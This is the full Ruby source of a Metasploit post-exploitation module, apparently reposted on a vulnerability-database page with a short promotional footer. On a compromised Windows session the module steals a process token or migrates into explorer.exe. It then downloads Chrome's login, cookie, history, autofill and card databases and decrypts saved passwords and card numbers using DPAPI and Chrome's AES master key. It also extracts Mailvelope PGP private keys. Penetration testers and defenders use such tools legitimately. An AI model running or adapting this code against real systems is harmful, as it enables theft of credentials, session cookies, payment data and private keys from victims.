##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::Deprecated
deprecated nil, 'The post/windows/gather/enum_browsers module now supersedes this module'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Google Chrome User Data Enumeration',
'Description' => %q{
This module will collect user data from Google Chrome and attempt to decrypt
sensitive information.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Sven Taute', # Original (Meterpreter script)
'sinn3r', # Metasploit post module
'Kx499', # x64 support
'mubix' # Parse extensions
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_close
core_channel_eof
core_channel_open
core_channel_read
core_migrate
stdapi_fs_stat
stdapi_railgun_api
stdapi_sys_config_getenv
stdapi_sys_config_getsid
stdapi_sys_config_getuid
stdapi_sys_config_steal_token
stdapi_sys_process_attach
stdapi_sys_process_get_processes
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]
}
}
)
)
register_options(
[
OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
]
)
end
def extension_mailvelope_parse_key(data)
return data.gsub("\x00", '').tr('[]', '').gsub('\\r', '').gsub('"', '').gsub('\\n', "\n")
end
def extension_mailvelope_store_key(name, value)
return unless name =~ /(private|public)keys/i
priv_or_pub = Regexp.last_match(1)
keys = value.split(',')
print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
keys.each do |key|
key_data = extension_mailvelope_parse_key(key)
vprint_good(key_data)
path = store_loot(
"chrome.mailvelope.#{priv_or_pub}", 'text/plain', session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key"
)
print_good("==> Saving #{priv_or_pub} key to: #{path}")
end
end
def extension_mailvelope(username, extname)
chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
if file_exist?(maildb_path) == false
print_error('==> Mailvelope database not found')
return
end
print_status('==> Downloading Mailvelope database...')
local_path = store_loot('chrome.ext.mailvelope', 'text/plain', session, 'chrome_ext_mailvelope')
session.fs.file.download_file(local_path, maildb_path)
print_good("==> Downloaded to #{local_path}")
maildb = SQLite3::Database.new(local_path)
columns, *rows = maildb.execute2('select * from ItemTable;')
maildb.close
rows.each do |name, value|
extension_mailvelope_store_key(name, value)
end
end
def parse_prefs(username, filepath)
prefs = ''
File.open(filepath, 'rb') do |f|
prefs = f.read
end
results = ActiveSupport::JSON.decode(prefs)
if results['extensions']['settings']
print_status('Extensions installed: ')
results['extensions']['settings'].each do |name, values|
next unless values['manifest']
print_status("=> #{values['manifest']['name']}")
if values['manifest']['name'] =~ /mailvelope/i
print_good('==> Found Mailvelope extension, extracting PGP keys')
extension_mailvelope(username, name)
end
end
end
end
def get_master_key(local_state_path)
local_state_data = read_file(local_state_path)
local_state = JSON.parse(local_state_data)
master_key_base64 = local_state['os_crypt']['encrypted_key']
master_key = Rex::Text.decode_base64(master_key_base64)
master_key
end
def decrypt_data(data)
mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return']
return nil if mem == 0
session.railgun.memwrite(mem, data, data.length)
if session.arch == ARCH_X86
inout_fmt = 'V2'
elsif session.arch == ARCH_X64
inout_fmt = 'Q2'
else
fail_with(Failure::NoTarget, "Session architecture must be either x86 or x64.")
end
pdatain = [data.length, mem].pack(inout_fmt)
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length)
len, addr = ret['pDataOut'].unpack(inout_fmt)
decrypted = len == 0 ? nil : session.railgun.memread(addr, len)
multi_rail = []
multi_rail << ['kernel32', 'LocalFree', [mem]]
multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0
session.railgun.multi(multi_rail)
decrypted
end
def process_files(username)
secrets = ''
masterkey = nil
decrypt_table = Rex::Text::Table.new(
'Header' => 'Decrypted data',
'Indent' => 1,
'Columns' => ['Name', 'Decrypted Data', 'Origin']
)
@chrome_files.each do |item|
if item[:in_file] == 'Preferences'
parse_prefs(username, item[:raw_file])
end
next if item[:sql].nil?
next if item[:raw_file].nil?
db = SQLite3::Database.new(item[:raw_file])
begin
columns, *rows = db.execute2(item[:sql])
rescue StandardError
next
end
db.close
rows.map! do |row|
res = Hash[*columns.zip(row).flatten]
next unless item[:encrypted_fields] && !session.sys.config.is_system?
item[:encrypted_fields].each do |field|
name = res['name_on_card'].nil? ? res['username_value'] : res['name_on_card']
origin = res['label'].nil? ? res['origin_url'] : res['label']
enc_data = res[field]
if enc_data.start_with? 'v10'
unless masterkey
print_status('Found password encrypted with masterkey')
local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State'
masterkey_encrypted = get_master_key(local_state_path)
masterkey = decrypt_data(masterkey_encrypted[5..])
print_good('Found masterkey!') if masterkey
end
cipher = OpenSSL::Cipher.new('aes-256-gcm')
cipher.decrypt
cipher.key = masterkey
cipher.iv = enc_data[3..14]
ciphertext = enc_data[15..-17]
cipher.auth_tag = enc_data[-16..]
pass = res[field + '_decrypted'] = cipher.update(ciphertext) + cipher.final
else
pass = res[field + '_decrypted'] = decrypt_data(enc_data)
end
next unless !pass.nil? && (pass != '')
decrypt_table << [name, pass, origin]
secret = "url:#{origin} #{name}:#{pass}"
secrets << secret << "\n"
vprint_good("Decrypted data: #{secret}")
end
end
end
if secrets != ''
path = store_loot('chrome.decrypted', 'text/plain', session, decrypt_table.to_s, 'decrypted_chrome_data.txt', 'Decrypted Chrome Data')
print_good("Decrypted data saved in: #{path}")
end
end
def extract_data(username)
# Prepare Chrome's path on remote machine
chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'
raw_files = {}
@chrome_files.map { |e| e[:in_file] }.uniq.each do |f|
remote_path = chrome_path + '\\' + f
# Verify the path before downloading the file
if file_exist?(remote_path) == false
print_error("#{f} not found")
next
end
# Store raw data
local_path = store_loot("chrome.raw.#{f}", 'text/plain', session, "chrome_raw_#{f}")
raw_files[f] = local_path
session.fs.file.download_file(local_path, remote_path)
print_good("Downloaded #{f} to '#{local_path}'")
end
# Assign raw file paths to @chrome_files
raw_files.each_pair do |raw_key, raw_path|
@chrome_files.each do |item|
if item[:in_file] == raw_key
item[:raw_file] = raw_path
end
end
end
return true
end
def steal_token
current_pid = session.sys.process.open.pid
target_pid = session.sys.process['explorer.exe']
return if target_pid == current_pid
if target_pid.to_s.empty?
print_warning('No explorer.exe process to impersonate.')
return
end
print_status("Impersonating token: #{target_pid}")
begin
session.sys.config.steal_token(target_pid)
return true
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Cannot impersonate: #{e.message}")
return false
end
end
def migrate(pid = nil)
current_pid = session.sys.process.open.pid
if !pid.nil? && (current_pid != pid)
# PID is specified
target_pid = pid
print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
begin
session.core.migrate(target_pid)
rescue ::Exception => e
print_error(e.message)
return false
end
else
# No PID specified, assuming to migrate to explorer.exe
target_pid = session.sys.process['explorer.exe']
if target_pid != current_pid
@old_pid = current_pid
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
begin
session.core.migrate(target_pid)
rescue ::Exception => e
print_error(e)
return false
end
end
end
return true
end
def run
@chrome_files = [
{ raw: '', in_file: 'Web Data', sql: 'select * from autofill;' },
{ raw: '', in_file: 'Web Data', sql: 'SELECT username_value,origin_url,signon_realm FROM logins;' },
{ raw: '', in_file: 'Web Data', sql: 'select * from autofill_profiles;' },
{ raw: '', in_file: 'Web Data', sql: 'select * from credit_cards;', encrypted_fields: ['card_number_encrypted'] },
{ raw: '', in_file: 'Cookies', sql: 'select * from cookies;' },
{ raw: '', in_file: 'History', sql: 'select * from urls;' },
{ raw: '', in_file: 'History', sql: 'SELECT url FROM downloads;' },
{ raw: '', in_file: 'History', sql: 'SELECT term FROM keyword_search_terms;' },
{ raw: '', in_file: 'Login Data', sql: 'select * from logins;', encrypted_fields: ['password_value'] },
{ raw: '', in_file: 'Bookmarks', sql: nil },
{ raw: '', in_file: 'Preferences', sql: nil },
]
@old_pid = nil
migrate_success = false
# If we can impersonate a token, we use that first.
# If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
got_token = steal_token
if !got_token && datastore['MIGRATE']
migrate_success = migrate
end
host = session.session_host
# Get Google Chrome user data path
env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')
sysdrive = env_vars['SYSTEMDRIVE'].strip
if directory?("#{sysdrive}\\Users")
@profiles_path = "#{sysdrive}/Users"
@data_path = '\\AppData\\Local\\Google\\Chrome\\User Data\\'
elsif directory?("#{sysdrive}\\Documents and Settings")
@profiles_path = "#{sysdrive}/Documents and Settings"
@data_path = '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\'
end
# Get user(s)
usernames = []
if is_system?
print_status('Running as SYSTEM, extracting user list...')
print_warning('(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")')
session.fs.dir.foreach(@profiles_path) do |u|
not_actually_users = [
'.', '..', 'All Users', 'Default', 'Default User', 'Public', 'desktop.ini',
'LocalService', 'NetworkService'
]
usernames << u unless not_actually_users.include?(u)
end
print_status "Users found: #{usernames.join(', ')}"
else
uid = session.sys.config.getuid
print_status "Running as user '#{uid}'..."
usernames << env_vars['USERNAME'].strip if env_vars['USERNAME']
end
has_sqlite3 = true
begin
require 'sqlite3'
rescue LoadError
print_warning('SQLite3 is not available, and we are not able to parse the database.')
has_sqlite3 = false
end
# Process files for each username
usernames.each do |u|
print_status("Extracting data for user '#{u}'...")
success = extract_data(u)
process_files(u) if success && has_sqlite3
end
# Migrate back to the original process
if datastore['MIGRATE'] && @old_pid && migrate_success
print_status('Migrating back...')
migrate(@old_pid)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation